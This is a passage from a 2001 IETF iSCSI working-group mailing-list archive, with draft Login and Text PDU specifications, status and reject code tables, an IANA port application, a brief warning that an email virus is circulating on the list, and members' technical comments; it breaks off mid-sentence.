LIPKEY/SPKM-3 RFC was written/published the patent hadn't expired, and I was asked by the WG chair to make the algorithm not mandatory). Assuming the IP issues are now moot, I would expect RFC 2847 to be updated someday to REQUIRE sha1WithRSAEncryption, and make id-dsa-with-sha1 OPTIONAL. There may however, be other reasons to make an SPKM-2 derivative, relating to, for example, weaknesses discovered in MD5 that weren't known when RFC 2025 (SPKM) was published. I went through the effort of looking for these deficiencies in SPKM-1, but didn't bother to make the analysis in SPKM-2, since I had no immediate use for it. > this is less a problem for us since it's only an optional method > (David - please correct me if I'm wrong here...) Unless it is envisioned that both the iSCSI client and server will often come from the same vendor, making SPKM, Kerberos V5, etc. optional to implement is unlikely to result in a high frequency of situations where these methods get used. -mre From owner-ips@ece.cmu.edu Wed Sep 5 02:07:47 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA20326 for ; Wed, 5 Sep 2001 02:07:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f854ccq04763 for ips-outgoing; Wed, 5 Sep 2001 00:38:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from host32.cedant.com (host32.cedant.com [209.239.32.20]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f854cVP04757 for ; Wed, 5 Sep 2001 00:38:31 -0400 (EDT) Received: from sahara ([12.81.10.118]) by host32.cedant.com (8.10.2/8.10.2) with ESMTP id f854bcL23844; Wed, 5 Sep 2001 00:37:39 -0400 Message-ID: <200109042149220671.000E7484@opulentsystems.com> In-Reply-To: References: X-Mailer: Calypso Version 3.30.00.00 (4) Date: Tue, 04 Sep 2001 21:49:22 -0700 Reply-To: sganguly@opulentsystems.com From: "Sukanta Ganguly" To: "Barry Reinhold" , "ISCSI" Subject: Re: Virus - "As per your request" Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f854caP04760 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit I did a dumb mistake of reading the email and saving the file. It did not cause me much harm but did some anonying things like attaching at the startup to bring up a smalled dialog box with open button on it. SG *********** REPLY SEPARATOR *********** On 9/4/2001 at 11:00 AM Barry Reinhold wrote: >It appears as if a virus is being circulated on the iSCSI reflector under >the "As per your request" subject line. > >Barry Reinhold >Principal Architect >Trebia Networks >barry.reinhold@trebia.com >603-868-5144/603-659-0885/978-929-0830 x138 From owner-ips@ece.cmu.edu Wed Sep 5 02:08:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA20339 for ; Wed, 5 Sep 2001 02:08:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f854vUL05597 for ips-outgoing; Wed, 5 Sep 2001 00:57:30 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f854vOP05589 for ; Wed, 5 Sep 2001 00:57:28 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id GAA37814 for ; Wed, 5 Sep 2001 06:57:16 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f854vFu158254 for ; Wed, 5 Sep 2001 06:57:15 +0200 Importance: Low Subject: Application for port-number To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 5 Sep 2001 07:56:34 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 05/09/2001 07:57:15 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk ---------------------- Forwarded by Julian Satran/Haifa/IBM on 05-09-2001 07:56 --------------------------- Julian Satran/Haifa/IBM@IBMIL@IBMIL on 05-09-2001 08:39:40 Please respond to Julian Satran/Haifa/IBM@IBMIL To: iana@iana.org, Julian Satran/Haifa/IBM@IBMIL cc: Subject: Application for port-number Application for User Registered Port Number Name : Julian Satran E-mail : Julian_Satran@il.ibm.com Protocol Number : TCP Message Formats : Fixed + LCV Message Types : request, reply Message opcodes : SCSI request/response, Data-In/Out, Task Management, Login, Logout Message Sequences : request/response, login-request/response, logout-request/response Protocol functions : Carry SCSI and control Broadcast or Multicast used ? no How and what for Broadcast or Multicast is used (if used): Description : A well known port for target (server) to be used in interoperability tests that will be later replaced by a well known system port Name of the port : iSCSI port Short name of the port : iSCSI-target From owner-ips@ece.cmu.edu Wed Sep 5 09:24:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA00242 for ; Wed, 5 Sep 2001 09:24:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85BWaJ03009 for ips-outgoing; Wed, 5 Sep 2001 07:32:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85BWWP03003 for ; Wed, 5 Sep 2001 07:32:33 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id NAA119642 for ; Wed, 5 Sep 2001 13:32:24 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f85BWNw166456 for ; Wed, 5 Sep 2001 13:32:23 +0200 Importance: Normal Subject: iSCSI Change - Login phase To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 5 Sep 2001 14:31:41 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 05/09/2001 14:32:23 MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f85BWZP03006 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit After investigating possible simplifications in the Login request/response Matthew Burbridge and I found that as we the new Login is assumed to be composed exclusively out of Login requests/responses we might want to reuse the status detail field for the T & C bits and the CNxSG fields and save the flag field for future changes. The Login request/response text attached. No other parts are affected. Comments? Julo ----------------------------------- 1.1 Login Request After establishing a TCP connection between an initiator and a target, the initiator MUST start a Login phase to gain further access to the target's resources. The Login Phase (see chapter 4) consists of a sequence of Login requests and responses) that carry the same Initiator Task Tag. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|X|I| 0x03 | Reserved | Version-max | Version-min | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| CID | Reserved | +---------------+---------------+---------------+---------------+ 12| ISID |TSID | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| CmdSN | +---------------+---------------+---------------+---------------+ 28| ExpStatSN or Reserved | +---------------+---------------+---------------+---------------+ 32| Reserved | +---------------+---------------+---------------+---------------+ 36| Reserved |T|C|0 0| CNxSG | Reserved | +---------------+---------------+---------------+---------------+ 40/ / +/ / +---------------+---------------+---------------+---------------+ 48/ DataSegment - Login Parameters in Text Command Format / +/ / +---------------+---------------+---------------+---------------+ 1.1.1 X - Restart Connection If this bit is set to 1 then this command is an attempt to reinstate a failed connection or a failed session. If TSID is not 0 then this is a connection restart. CID does not change and this command performs first the logout function of the old connection if an explicit logout was not performed earlier. In sessions with a single connection, this may imply the opening of a second connection with the sole purpose of cleaning-up the first. Targets should support opening a second connection even when not supporting multiple connections in full feature phase. A restart login indicates to the target that commands may be missing and therefore it MUST be issued as an immediate command. If TSID is 0 then the X bit MUST be 0. The X bit MAY be set one ONLY on the first request of the Login phase. 1.1.2 I - Immediate Login SHOULD be issued as an immediate request (I=1) except for the leading login phase in which all requests that MUST have I=0. 1.1.3 Version-max Maximum Version number supported. All Login requests within the Login phase MUST carry the same Version-max. The target MUST use the value presented with the login request with C=0 and MAY check the value when C=1. 1.1.4 Version-min Minimum Version supported The version number of the current draft is 0x2. All Login requests within the Login phase MUST carry the same Version-min. The target MUST use the value presented with the login request with C=0 and MAY check the value when C=1. 1.1.5 Connection ID - CID This is a unique ID for this connection within the session. All Login requests within the Login phase MUST carry the same CID. The target MUST use the value presented with the login request with C=0 and MAY check the value when C=1. 1.1.6 ISID This is an initiator-defined session-identifier. It MUST be the same for all connections within a session. A SCSI initiator port is uniquely identified by the value pair (InitiatorName, ISID). When a target detects an attempt to open a new session by the same SCSI initiator port (same InitiatorName and ISID) to the same target portal group it MUST close the old session and a establish a new session. All Login requests within the Login phase MUST carry the same ISID. The target MUST use the value presented with the login request with C=0 and MAY check the value when C=1. 1.1.7 TSID The TSID is a tag (set by the target) that together with the ISID identifies a unique session with the initiator. On a Login request a TSID value of 0 indicates a request to open a new session. A non zero TSID indicates a request to add a connection to an existing session. 1.1.8 CmdSN CmdSN is either the initial command sequence number of a session (for the first Login of a session - the "leading" login) or the command sequence number in the command stream (e.g., if the leading login carries the CmdSN 123 the next non-immediate command carries the number 124 etc.). 1.1.9 ExpStatSN This is ExpStatSN for the old connection. This field is valid only if the Login request restarts a connection (i.e., X bit is 1 and TSID is not zero). 1.1.10 T (Transit) Bit If set to 1 indicates that the initiator is ready to transit to next stage If the next stage part in CNxSG is FullFeaturePhase and the T bit is set to 1 then this is also indicating that the initiator is ready for the Final Login Response (see chapter 4). 1.1.11 C (Continuation) Bit If set to 1 indicates that this is not the first Login request in the Login Phase 1.1.12 CNxSG Through this field, called Current-Next Stage (CNxSG), the Login negotiation commands and responses are associated with a specific stage in the session (SecurityNegotiation, LoginOperationalNegotiation, FullPhaseOperationalNegotiations) and may indicate the next stage they want to move to (see chapter 4). The current stage is coded in bits 0-1 and the next stage in bits 2-3. The next stage value is valid only when the T bit is 1 and can be ignored otherwise. The stage codes are: - 0 - SecurityNegotiation - 1 - LoginOperationalNegotiation - 3 - FullFeaturePhase 1.1.13 Login Parameters The initiator MAY provide some basic parameters in order to enable the target to determine if the initiator may use the target's resources and the initial text parameters for the security exchange. The format of the parameters is as specified for the Text Command. Keys and their explanations are listed in the Appendixes. 1.2 Login Response The Login Response indicates the progress and/or end of the login phase. Note that after security is established, the login response is authenticated. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|1|1| 0x23 | Reserved | Version-max | Version-active| +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | +---------------+---------------+---------------+---------------+ 12| ISID |TSID | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| StatSN | +---------------+---------------+---------------+---------------+ 28| ExpCmdSN | +---------------+---------------+---------------+---------------+ 32| MaxCmdSN | +---------------+---------------+---------------+---------------+ 36| Status-Class | Status-Detail | Reserved | | | or | | | |T|0 0 0| CNxSG | | +---------------+---------------+---------------+---------------+ 40/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment - Login Parameters in Text Command Format / +/ / +---------------+---------------+---------------+---------------+ 1.2.1 Version-max This is the highest version number supported by the target. All Login responses within the Login phase MUST carry the same Version-max. The initiator MUST use the value presented as response to the login request with C=0 and MAY check the value otherwise. 1.2.2 Version-active Indicates the version supported (the highest version supported by the target and initiator). If the target does not support a version within the range specified by the initiator, the target rejects the login and this field indicates the lowest version supported by the target. All Login responses within the Login phase MUST carry the same Version-active. The initiator MUST use the value presented as response to the login request with C=0 and MAY check the value otherwise. 1.2.3 TSID The TSID is a tag set by the target that together with the ISID identifies a unique session with the initiator. It MUST be valid only in the final response. 1.2.4 StatSN For the first Login Response (the response to a Login Request with C=0) this is the starting status Sequence Number for the connection (the next response of any kind will carry this number + 1). This field is valid only if the Status Class is 0. 1.2.5 Status-Class and Status-Detail The Status returned in a Login Response indicates the execution status of the login phase. The status includes: Status-Class Status-Detail A 0 Status-Class indicates success. In this case, the status detail field is replaced by the T and CNxSG fields. A non-zero Status-Class indicates exception. In this case, Status-Class is sufficient for a simple initiator to use when handling errors, without having to look at the Status-Detail. The Status-Detail allows finer-grained error recovery for more sophisticated initiators, as well as better information for error logging. The status classes are as follows: 0 - Success - indicates that the iSCSI target successfully received, understood, and accepted the request. The numbering fields (StatSN, ExpCmdSN, MaxCmdSN are valid only if Status-Class is 0) and the Status-Detail is replaced by the T and CNxSG fields. 1 - Redirection - indicates that further action must be taken by the initiator to complete the request. This is usually due to the target moving to a different address. All of the redirection status class responses MUST return one or more text key parameters of the type "TargetAddress", which indicates the target's new address. 2 - Initiator Error - indicates that the initiator likely caused the error. This MAY be due to a request for a resource for which the initiator does not have permission. The request should not be tried again. 3 - Target Error - indicates that the target sees no errors in the initiator's login request, but is currently incapable of fulfilling the request. The client may re-try the same login request later. The table below shows all of the currently allocated status codes. The codes are in hexadecimal; the first byte is the status class and the second byte is the status detail. The allowable state of the Transit (T) bit in responses with each of the codes is also displayed. ----------------------------------------------------------------- Status | Code | Description |(hex) | ----------------------------------------------------------------- Success | 00xx | Login is proceeding OK (*1) ----------------------------------------------------------------- Target Moved | 0101 | The requested ITN has moved Temporarily | | temporarily to the address provided. ----------------------------------------------------------------- Target Moved | 0102 | The requested ITN has moved Permanently | | permanently to the address provided. ----------------------------------------------------------------- Initiator | 0200 | Miscellaneous iSCSI initiator Error | | errors ---------------------------------------------------------------- Authentication| 0201 | The initiator could not be Failure | | successfully authenticated. ----------------------------------------------------------------- Authorization | 0202 | The initiator is not allowed access Failure | | to the given target. ----------------------------------------------------------------- Not Found | 0203 | The requested ITN does not | | exist at this address. ----------------------------------------------------------------- Target Removed| 0204 | The requested ITN has been removed | | No forwarding address is provided. ----------------------------------------------------------------- Unsupported | 0205 | The requested iSCSI version range is Version | | not supported by the target. ----------------------------------------------------------------- Initiator | 0206 | Invalid SID - no more connections SID error | | accepted ----------------------------------------------------------------- Missing | 0207 | Missing parameters (e.g., iSCSI parameter | | Initiator and/or Target Name) ----------------------------------------------------------------- Can't include | 0208 | Target does not support session in session | | spanning to this connection (address) ----------------------------------------------------------------- Session type | 0209 | Target does not support this type of Not supported | | of session (not from this Initiator) ----------------------------------------------------------------- Target Error | 0300 | Target hardware or software error. ----------------------------------------------------------------- Service | 0301 | The iSCSI service or target is not Unavailable | | currently operational. ----------------------------------------------------------------- Out of | 0302 | The target has insufficient session, Resources | | connection, or other resources. ----------------------------------------------------------------- (*1)If the response T bit is 1 and the next stage part is FullFeaturePhase in both the request and the response) the login phase is finished and the initiator may proceed to issue SCSI commands. If the Status Class is not 0, the initiator and target MUST close the TCP connection. If the target wishes to reject the login request for more than one reason, it should return the primary reason for the rejection. 1.2.6 T (Transit) bit T bit is set to 1 as an indicator of end of stage. If the next stage part in CNxSG is FullFeaturePhase and the T bit is set to 1 then this is also the Final Login Response (see chapter 4). A T bit of 0 indicates a "partial" response, which means "more negotiation needed". A login response with a T bit set to 1 MUST NOT contain key=value pairs that may require additional answers from the initiator within the same stage. From owner-ips@ece.cmu.edu Wed Sep 5 11:55:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08862 for ; Wed, 5 Sep 2001 11:55:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85DatP09807 for ips-outgoing; Wed, 5 Sep 2001 09:36:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85DaqP09801 for ; Wed, 5 Sep 2001 09:36:52 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN2F7; Wed, 5 Sep 2001 09:36:43 -0400 Reply-To: From: "Eddy Quicksall" To: Subject: RE: iSCSI - bookmarks change Date: Wed, 5 Sep 2001 09:36:34 -0400 Message-ID: <000001c1360f$c8b44030$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Section "4. Login Phase" of your previous EMAIL (iSCSI - Login changes and the latest agreements) says: The login phase is implemented via login request and responses only. But below you say: During the Login Phase ... the Text command SHOULD be issued as an immediate command (I=1). These seem contradictory. Eddy -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 04, 2001 5:19 AM To: ips@ece.cmu.edu Subject: iSCSI - bookmarks change Now that text commands are out of login (and we don't have to care too much about the immediate version) we can rationalize the bookmarks. Here is my suggestion for the new text request/response: 1.1 Text Command The Text Command is provided to allow the exchange of information and for future extensions. It permits the initiator to inform a target of its capabilities or to request some special operations. A connection SHOULD have only one outstanding text command at any given time. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|X|I| 0x04 |F|B| Rsvd | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| CmdSN | +---------------+---------------+---------------+---------------+ 28| ExpStatSN | +---------------+---------------+---------------+---------------+ 32/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment (Text) / +/ / +---------------+---------------+---------------+---------------+ 1.1.1 F (Final) Bit When set to 1 it indicates that this is the last or only text command in a sequence of commands; otherwise it indicates that more commands will follow. 1.1.2 I - Immediate During the Login Phase (the current stage part of CNxSG is either SecurityNegotiation or LoginOperationalNegotiation), the Text command SHOULD be issued as an immediate command (I=1). 1.1.3 B - bookmark bit The bookmark bit set to 1 tells the target to continue from its last bookmark for the specific Initiator Task Tag and thus allows a target to transfer a large amount of textual data over a sequence of text-command/text-response exchanges. The bookmark bit set to 0 tells the target that this is a new Text request; the target should reset any bookmark it holds on the specific Initiator Task Tag. A target MAY reject an old Bookmark. Bookmark generation at target is detailed in 2.11.2. Long text responses are handled as in the following example: I->T Text SendTargets=all (F=1,B=0) T->I Text (F=0,B=1) I->T Text (F=1,B=1) T->I Text (F=0,B=1) I->T Text (F=1,B=1) ... T->I Text (F=1,B=0) 1.1.4 Initiator Task Tag The initiator assigned identifier for this Text Command. If the command is sent as part of a sequence of commands (e.g., the Login Phase or a sequence of Text commands) the Initiator Task Tag MUST be the same for all the commands within the sequence (similar to linked SCSI commands). 1.1.5 Text The initiator sends the target a set of key=value or key=list pairs encoded in UTF-8 Unicode. All the text keys and text values specified in this document are to be presented and interpreted in the case they appear in this document (they are case sensitive). The key and value are separated by a '=' (0x3d) delimiter. Every key=value pair (including the last or only pair) MUST be followed by null (0x00) delimiter. A list is a set of values separated by comma (0x2c). Large binary items can be encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or decimal representation. The maximum length of an individual value (not its string representation) is 255 bytes. The data lengths of a text command or response MUST NOT exceed 4096 bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed 255 bytes. Character strings are represented as plain text. Numeric and binary values are represented using either decimal numbers or the hexadecimal 0xffff notation. Upper and lower case letters may be used interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC are equivalent). The target responds by sending its response back to the initiator. The response text format is similar to the request text format. Some basic key=value pairs are described in Appendix A and Appendix D. All keys in Appendix D, except for the X- extension format, MUST be supported by iSCSI initiators and targets. Keys in Appendix A MUST be supported only when the function they refer to is mandatory to implement. Manufacturers may introduce new keys by prefixing them with X- followed by their (reversed) domain name, for example the company owning the domain acme.com can issue: X-com.acme.bar.foo.do_something=0000000000000003 Any other key not understood by the target may be ignored by the target without affecting basic function. However the Text Response for a key that was not understood MUST be key=NotUnderstood. Text operations are usually meant for parameter setting/negotiations but can be used also to perform some long lasting operations. Text operations that will take a long time should be placed in their own Text command. 1.2 Text Response The Text Response PDU contains the target's responses to the initiator's Text Command. The format of the Text field matches that of the Text Command. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|1|1| 0x24 |F|B| Rsvd | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| StatSN | +---------------+---------------+---------------+---------------+ 28| ExpCmdSN | +---------------+---------------+---------------+---------------+ 32| MaxCmdSN | +---------------+---------------+---------------+---------------+ 36/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment (Text) / +/ / +---------------+---------------+---------------+---------------+ 1.2.1 F (Final) Bit When set to 1 in response to a text command with the Final bit set to 1 the F bit indicates that the target has finished the current stage of the operation or the whole operation. Otherwise if set to 0 in response to a text command with the Final Bit set to 1 it indicates that the target has more work to do (invites a follow-on text command). A text response with the F bit set to 1 in response to a text command with the F bit set to 0 is a protocol error. A text response with a F bit set to 1 MUST NOT contain key=value pairs that may require additional answers from the initiator. 1.2.2 B - bookmark Bit Whenever a target can't transfer all the remaining text data in a single Text response, it attempts to set an internal bookmark. If successful, the target associates the bookmark with the Initiator Task Tag. The target indicates that it holds a bookmark for the specific Initiator Task Tag by setting the bookmark (B) bit to 1 in the Text response. The target resets the internal bookmark associated with a given Initiator Task Tag if it receives a Text request with the specified Initiator Task Tag with the bookmark bit set to 0. When a target can't transfer all the text data in a single text response and it cannot set an internal bookmark it rejects the Text request with an appropriate Reject code. A target may reset its internal bookmark(s) after some time in order to reclaim resources associated with the bookmark and reject subsequent Text requests with the bookmark bit set to 1. When all the text data fit in a single Text response the bookmark bit of the response is set to 0 and the bookmark associated with the Initiator Task Tag is reset. 1.2.3 Initiator Task Tag The Initiator Task Tag matches the tag used in the initial Text Command or the Login Initiator Task Tag. 1.2.4 Text Response Data The Text Response Data Segment contains responses in the same key=value format as the Text Command and with the same length and coding constraints. Appendix A and Appendix D lists some basic Text Commands and their Responses. Although the initiator is the requesting party and controls the request-response initiation and termination the target can offer key=value pairs of its own as part of a sequence and not only in response to an identical key=value pair offered by the initiator. A Key=value pair must be confined to a given text response even in the presence of bookmark - i.e., it must start and end within one Text Response. The Reject Reasons table looks like: 1.1.1 Reason The reject Reason is coded as follows: +------+-----------------------------------------+------------------+ | Code | Explanation | Can the original | | (hex)| | PDU be re-sent? | +------+-----------------------------------------+------------------+ | 0x01 | Format Error | no | | | | | | 0x02 | Data (payload) Digest Error | yes (Note 1) | | | | | | 0x03 | Data-SNACK Reject | yes | | | | | | 0x04 | Protocol Error (e.g., SNACK request for | no | | | a status that was already acknowledged) | | | | | | | 0x05 | Command not supported in this session | no | | | type | | | | | | | 0x06 | Immediate Command Reject - too many | yes | | | immediate commands | | | | | | | 0x07 | Bookmark Reject - No bookmark for this | no | | | Initiator Task Tag | | | | | | | 0x08 | Bookmark Reject - Can't generate | yes | | | bookmark - out of resources | | | | | | | 0x0f | Full Feature Phase Command before login | no | +------+-----------------------------------------+------------------+ Comments? Julo From owner-ips@ece.cmu.edu Wed Sep 5 12:04:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09191 for ; Wed, 5 Sep 2001 12:04:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85ErCc15030 for ips-outgoing; Wed, 5 Sep 2001 10:53:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85ErAP15023 for ; Wed, 5 Sep 2001 10:53:10 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN2HF; Wed, 5 Sep 2001 10:53:02 -0400 Reply-To: From: "Eddy Quicksall" To: Subject: iSCSI: protocol errors Date: Wed, 5 Sep 2001 10:52:39 -0400 Message-ID: <000201c1361a$69b984e0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit There is at least one place where a protocol error is mentioned but it doesn't say what to do and there are lots of places where one can rationalize a protocol error. I think we should document what to do when a "protocol error" occurs for each case mentioned and for the general case not mentioned (at least for the initiator because it can't use the reject command). For example, in section 1.2.1 of EMAIL: "iSCSI - bookmarks change", it says "A text response with the F bit set to 1 in response to a text command with the F bit set to 0 is a protocol error" but it doesn't say what to do about it. Or, if a target sends a header with a bad OpCode, should it close the session or should it just close the connection? These kinds of questions come up all over the place. Section 7.10 gives the option of closing down the session and starting a new one. Maybe we should just not give the option but make it mandatory. Eddy_Quicksall@iVivity.com From owner-ips@ece.cmu.edu Wed Sep 5 12:05:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09202 for ; Wed, 5 Sep 2001 12:05:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85FARB16205 for ips-outgoing; Wed, 5 Sep 2001 11:10:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85FAPP16199 for ; Wed, 5 Sep 2001 11:10:25 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id LAA28738; Wed, 5 Sep 2001 11:10:14 -0400 (EDT) Message-ID: <3B963E95.E7A37612@cisco.com> Date: Wed, 05 Sep 2001 10:02:45 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: iSCSI Change - Login phase References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian and Matthew- This is looking good; I have just a few comments: Julian Satran wrote: > 1.1.2 I - Immediate > > Login SHOULD be issued as an immediate request (I=1) except for the > leading login phase in which all requests that MUST have I=0. Did you mean "leading connection"? If so, the only thing that is special about the leading connection is that it needs to communicate the initial CmdSN value; there is no reason to use I=0 for the login requests themselves. To make this interoperate easier, I would like to get rid of the SHOULD. How about: Login MUST be issued as an immediate request (I=1) except for the leading login request of the leading connection in a session, which MUST have I=0 and a valid CmdSN. I think that this would be simpler, and still get what we need, which is to communicate a CmdSN to start with when we hit full feature phase. > 1.1.8 CmdSN > > CmdSN is either the initial command sequence number of a session (for > the first Login of a session - the "leading" login) or the command > sequence number in the command stream (e.g., if the leading login > carries the CmdSN 123 the next non-immediate command carries the number > 124 etc.). If we make the above change regarding the Immediate bit, this changes to: CmdSN is 